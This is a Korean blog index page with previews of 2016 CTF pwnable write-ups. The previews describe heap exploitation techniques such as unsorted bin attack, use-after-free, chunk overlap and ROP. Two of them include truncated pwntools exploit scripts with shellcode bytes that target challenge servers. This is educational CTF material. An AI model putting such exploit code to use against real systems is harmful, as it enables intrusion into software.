CTF
-
[christmas ctf 2016] who is solo 문제풀이CTF 2016. 12. 25. 16:50
광준이형 덕분에 크리스마스 씨티엪에 문제를 낼 기회가 생겼다! 감사합니다 형 :) 그냥 stack overflow문제는 뻔하고, unsorted bin attack으로 password 덮어주고 64bit rop 통해서 password 담아낸걸 릭해내고 오프셋 계산을 통해 system, pop 가젯을 구해서 익스플로잇 하는 문제임! unsorted bin attack 만 알면 풀 수 있는데, 사람들이 잘 몰랐던것 같다. 익스가 좀 귀찮긴한듯.. ㄹㅇ 사람들 다 fastbin으로 password 덮어서 ROP로 GOT libc 릭해서 품 ㅂㄷㅂㄷ Full RELRO랑 스태틱컴파일해서 낼걸 아이디어가 하나있었는데 문제만들고 익스가 넘 힘들어서 포기했고ㅠㅠㅠㅠ 플래그는 내 현실을 빗대어 작성함;; ㄹㅇ 후.. ..
-
HoldyShield Pwn400 diaryCTF 2016. 12. 22. 11:45
diary는 무식하게 바이너리만 디게 크다. 취약점이 발생하는 함수는 얼마없고, 트리거는 인티저오버플로우와 UAF 두개밖에없다. 여기서 낚시가 존재하는데, 모든 plan은 100바이트만큼 입력이되지만 update시에 104만큼 받게된다. 하지만 이건 fake에 불과하다. 대회당시에는 풀지못했다. 배점에 쫄았습니다 처음에 이름과 나이, 젠더 등을 받는데, 여기서 필요한것은 딱 gender 밖에 없다. 왜 gender가 중요하냐? 밑에 사진을 확인해보3 ! Delete_plan함수인데, select로 입력을받고 입력받은값에서 -1 한 후, 99란 값이 되면 다음 if문으로 넘어가게되는데 character + 6 의 값을 확인하게된다. character + 6은 gender가 됨 흐흐 !! 디버깅을 해서 봐도..
-
HolyShield pwn100CTF 2016. 12. 20. 17:35
123456789101112131415161718192021222324252627282930from pwn import * # p = remote("1.224.175.26",10020)p = remote("10.211.55.3",12345)print p.recvuntil("3. Exit") p.sendline("1") print p.recvuntil("Leak Size(0 ~ 1000)")p.sendline("16")leak = p.recv(8)stack = u32(p.recv(4))print hex(stack) payload = "\x90"*48payload += p32(stack-0x68-0x2c)payload += "\x90"*10payload += "\x31\xc0\x50\x68\x2f\x2f\x..
-
-
SECCON CTF 2016 - chatCTF 2016. 12. 13. 07:01
SECCON에서 500점으로 나온 포너블 문제이다. overlap chunk를 이용한 문제이다. size chunk를 덮어 써서, 청크의 크기를 바꾸고 메세지 입력을 통해 name을 관리하는 ptr을 덮어씌워 got를 덮는다. 윽.. 이기법을 모르고있어서 어차피 대회때 못풀었겠군 ㅠ.ㅠ 노가다했으면 됬을라나.. user를 한개 만들때의 힙 상태이다. user id를 담고있는 ptr이 0x1298030인데, change name을 할때 저 값을 토대로 수정을 한다. 그리고 user_tbl이라는 테이블이 존재하는데, 청크의 포인터를 담고 있다. user를 할당 할 때 24바이트를 할당하고, user_tbl 8바이트에 chunk ptr을 작성한다. 유저를 바꾸면 작성한 ptr을 토대로 관리한다. 만약, 인풋이..
-
SECCON CTF 2016 - jmperCTF 2016. 12. 11. 16:44
jmper 문제는 setjmp, longjmp에서 트리거를 하는건데, rsp를 릭했을경우 리턴되는 스택주소를 예측가능해 덮어줄 수 있는 문제이다. 12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626364656667686970717273747576777879808182838485868788899091929394959697from pwn import * #p = remote("10.211.55.3",9910)p = remote("jmper.pwn.seccon.jp",5656) def add(): print p.recvuntil(":)") p.sendli..
-
[BCTF 2016] MemoCTF 2016. 11. 28. 22:00
이 문제는 진심 개쩌는 문제다. 내가 이런 류의 문제를 안풀어서 그런건지 모르겠지만 진짜 개쩔었다 개신기하다 unsafe_unlink를 다루는 문제지만 free 함수가 존재하지않아서 다른방법으로 free를 해야했음.. 진짜 너무궁금해서 롸업을 봐버림.. 근데 롸업을봐도 이건 개 신박하고 공부가 오질라게 잘되는 문제였다. 1. fastbin으로 할당됫던것들은 large chunk가 한번 할당되게되면 더이상 쓸모가없다고 지멋대로 판단해 smallbin으로 합쳐버린다. realloc 으로 먼저 힙에 할당을 해주는데, 각각 name과 titile을 나타낸다. 그냥 별건없고, 보여주고, 페이지수정하고, 새로 페이지만들고, 네임입력해주고, 타이틀입력해주는 메뉴들이다. 아 점점 롸업쓰기가 귀찮아진다 하 ㅂㄷㅂㄷ 처음..
-
Plaid CTF 2014 ezhpCTF 2016. 11. 28. 02:25
이건 그나마 쉽게 풀 수 있었다. 한 1~2시간 삽질하니 풀리니까 기분이 좋다 ㅎㅎㅎ 원래 몇일씩 삽질했는데 이건 몇시간만에 풀리니 뜻깊었음 ㅠ 근데 나만 이렇게푼듯. ㅋ;;; fd와 bk로, 쉽게 exit@got를 덮을수있었고, NX가 꺼져있었기때문에 힙주소를 덮어주되 힙에는 쉘코드와 놉을 두었다. 1번메뉴는 buf 전역변수에 malloc으로 할당을 해준다. 청크갯수가 1022만아니면된다. 2번메뉴는 할당할 chunk를 free한다. size와 data를 입력받고 해당청크에 데이터를 작성한다. 청크의 데이터들을 출력해준다. 여기서 릭을 했음. exit@got를 힙주소로 덮고, 힙주소를 구경해보자 청크는 이런식으로 쉘코드와 nop을 작성해주면된다. 이것은 아직 쉘이 따이지 않는데, 0x9427000으로 ..